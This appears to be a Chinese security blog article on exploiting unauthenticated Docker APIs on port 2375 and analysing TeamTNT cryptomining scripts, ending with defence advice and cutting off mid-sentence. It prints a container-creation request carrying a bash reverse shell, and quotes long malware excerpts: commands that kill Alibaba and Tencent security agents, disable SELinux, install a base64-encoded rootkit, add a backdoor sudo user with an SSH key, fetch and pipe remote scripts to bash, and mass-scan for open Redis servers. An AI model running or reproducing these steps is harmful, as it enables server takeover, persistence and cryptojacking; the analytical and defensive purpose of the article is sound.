Docker未授权漏洞利用与TEAMTNT挖矿样本分析

前言

本文记录了从探索Docker未授权漏洞新利用方式到分析TEAMTNT挖矿样本的过程。Docker的2375端口未授权访问是一个已知的安全问题，攻击者可以利用此漏洞进行恶意活动。TEAMTNT组织针对阿里云和腾讯云专门编写了一个恶意挖矿脚本，本文将详细分析其攻击流程和技术细节。

Docker 2375端口未授权利用方式

传统利用方法

传统上，攻击者通过-H tcp://ip:2375远程连接未授权的Docker API，然后：

1. 运行一个新容器实例
2. 使用-v /:/mnt将宿主机根目录挂载到容器中
3. 将SSH公钥写入宿主机/root/.ssh/authorized_keys实现提权
4. 或将反弹shell脚本写入/etc/crontab实现提权

更高级的HTTP API利用方式

通过直接调用Docker HTTP API可以实现更灵活的利用：

1. 使用/containers/create API创建容器，参数包括：
   • Cmd: 容器启动命令
   • Tty: 分配伪终端
   • Binds: 挂载目录
   • Image: 使用的基础镜像

示例请求：

POST /containers/create HTTP/1.1
Host: ip:port
Content-Type: application/json

{
  "Image": "ubuntu:latest",
  "Cmd": ["/bin/bash", "-c", "bash -i>& /dev/tcp/ip/port 0>&1;while true;do echo hello world;sleep 1;done"],
  "HostConfig": {
    "Binds": ["/:/mnt"]
  }
}

2. 如果本地不存在镜像，使用/images/createAPI拉取镜像：

curl -X POST "http://ip/images/create?fromImage=ubuntu&tag=latest"

3. 使用/containers/{id}/start启动容器：

curl -X POST "http://ip/containers/{id}/start"

TEAMTNT挖矿样本分析

攻击流程概述

1. 通过Docker未授权漏洞入侵
2. 下载并执行cronb.sh脚本
3. cronb.sh部署挖矿环境后下载并运行cronis.sh
4. cronis.sh安装扫描工具并执行cronscan
5. cronscan启动扫描器并下载cronrs.sh
6. cronrs.sh扫描内网和特定云服务IP段的Redis未授权漏洞

样本分析 - cronb.sh

1. 剔除安全防护

阿里云防护机制：

stop_aegis_pkill(){
    pkill -9 AliYunDun AliHids AliHips AliNet AliSecGuard AliYunDunUpdate
    /usr/local/aegis/AliNet/AliNet --stopdriver
    /usr/local/aegis/alihips/AliHips --stopdriver
    /usr/local/aegis/AliSecGuard/AliSecGuard --stopdriver
}

remove_aegis(){
    umount ${AEGIS_INSTALL_DIR}/aegis_debug
    rm -rf ${AEGIS_INSTALL_DIR}/aegis_client ${AEGIS_INSTALL_DIR}/aegis_update ${AEGIS_INSTALL_DIR}/alihids
}

uninstall_service(){
    /etc/init.d/aegis stop
    rm -f /etc/init.d/aegis
    # 删除各运行级别的启动项
}

腾讯云防护机制：

/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh

2. 停用Linux安全机制

setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service

3. 安装Diamorphine rootkit

通过base64编码的tar包安装：

DIA_TAR='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'

if [ ! -d "/var/tmp/.../dia/" ]; then mkdir -p /var/tmp/.../dia/ ; fi
echo $DIA_TAR | base64 -d > /var/tmp/.../dia/dia.tar.gz
tar xvf /var/tmp/.../dia/dia.tar.gz -C /var/tmp/.../dia/
rm -f /var/tmp/.../dia/dia.tar.gz
cd /var/tmp/.../dia/
make

4. 实现免密登录

创建用户hilde并设置SSH公钥：

RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver"

grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd
grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow
grep -q hilde /etc/sudoers || echo 'hilde ALL=(ALL:ALL) ALL' >> /etc/sudoers

mkdir /home/hilde/.ssh/ -p
echo $RSAKEY > /home/hilde/.ssh/authorized_keys
echo $RSAKEY > /home/hilde/.ssh/authorized_keys2
echo $RSAKEY >> /root/.ssh/authorized_keys
echo $RSAKEY > /root/.ssh/authorized_keys2

5. 下载并运行门罗币挖矿程序

配置挖矿参数：

MOxmrigMOD=http://112.253.11.38/mid.jpg
MOxmrigSTOCK=http://112.253.11.38/mid.jpg
miner_url=https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz
miner_url_backup=http://oracle.zzhreceive.top/b2f628/father.jpg
config_url=http://oracle.zzhreceive.top/b2f628/cf.jpg
config_url_backup=http://oracle.zzhreceive.top/b2f628/cf.jpg
WALLET=43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.jokerd
VERSION=2.9

下载并配置挖矿程序：

curl -L --progress-bar "$MOxmrigMOD" -o /tmp/xmrig.tar.gz
tar xf /tmp/xmrig.tar.gz -C $MOHOME/
chmod +x $MOHOME/
$$
ext4
$$

rm /tmp/xmrig.tar.gz

# 修改配置文件
sed -i 's/"url": *"[^"]*",/"url": "xmr-asia1.nanopool.org:14444",/' $MOHOME/[ext4].pid
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $MOHOME/[ext4].pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 50,/' $MOHOME/[ext4].pid

6. 下载后续脚本

curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh | bash

样本分析 - cronis.sh

1. 命令替换绕检测

mv /usr/bin/curl /usr/bin/url
mv /usr/bin/url /usr/bin/cd1
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/get /usr/bin/wd1

2. 安装扫描工具

安装masscan:

$bbdira -sL -o x1.tar.gz http://oracle.zzhreceive.top/b2f628fff19fda999999999/1.0.4.tar.gz
tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install

安装pnscan:

$bbdira -sL -o .x112 http://oracle.zzhreceive.top/b2f628/p.tar
tar xf .x112 && cd pnscan && ./configure && make && make install

3. 下载并执行cronscan

$bbdir -fsSL http://oracle.zzhreceive.top/b2f628/cronscan | bash

样本分析 - cronscan

创建systemd服务运行扫描器：

cat >/tmp/scan.service <<EOL
[Service]
ExecStart=/var/tmp/.system/[scan]
Restart=always

[Install]
WantedBy=default.target
EOL

sudo mv /tmp/scan.service /etc/systemd/system/scan.service
sudo systemctl daemon-reload
sudo systemctl enable scan.service
sudo systemctl start scan.service

样本分析 - cronrs.sh

1. 使用pnscan扫描Redis服务

pnx=pnscan
for z in $( seq 0 5000 | sort -R ); do
for x in $( echo -e "47\n39\n8\n121\n106\n120\n123\n65\n3\n101\n139\n99\n63\n81\n44\n18\n119\n100\n42\n49\n118\n54\n1\n50\n114\n182\n52\n13\n34\n112\n115\n111\n116\n16\n35\n117\n124\n59\n36\n103\n82\n175\n122\n129\n45\n152\n159\n113\n15\n61\n180\n172\n157\n60\n218\n176\n58\n204\n140\n184\n150\n193\n223\n192\n75\n46\n188\n183\n222\n14\n104\n27\n221\n211\n132\n107\n43\n212\n148\n110\n62\n202\n95\n220\n154\n23\n149\n125\n210\n203\n185\n171\n146\n109\n94\n219\n134" | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t256 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
done < .r.$x.$y.l
done
done
done

2. 使用masscan扫描

扫描特定IP段：

masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges

防御建议

1. Docker安全配置:

   • 禁止Docker API的未授权访问
   • 使用TLS认证保护Docker API
   • 限制网络访问，仅允许可信IP连接

2. 系统安全加固:

   • 定期更新系统和软件
   • 监控和限制异常进程
   • 禁用不必要的服务和端口

3. 安全监控:

   • 部署入侵检测系统(IDS)
   • 监控异常网络流量和CPU使用率
   • 定期检查系统日志和进程列表

4. 云安全防护:

   • 启用云服务商提供的安全防护服务
   • 配置安全组规则限制入站流量
   • 定期检查云安全配置

总结

TEAMTNT的攻击流程展示了从Docker未授权漏洞利用到内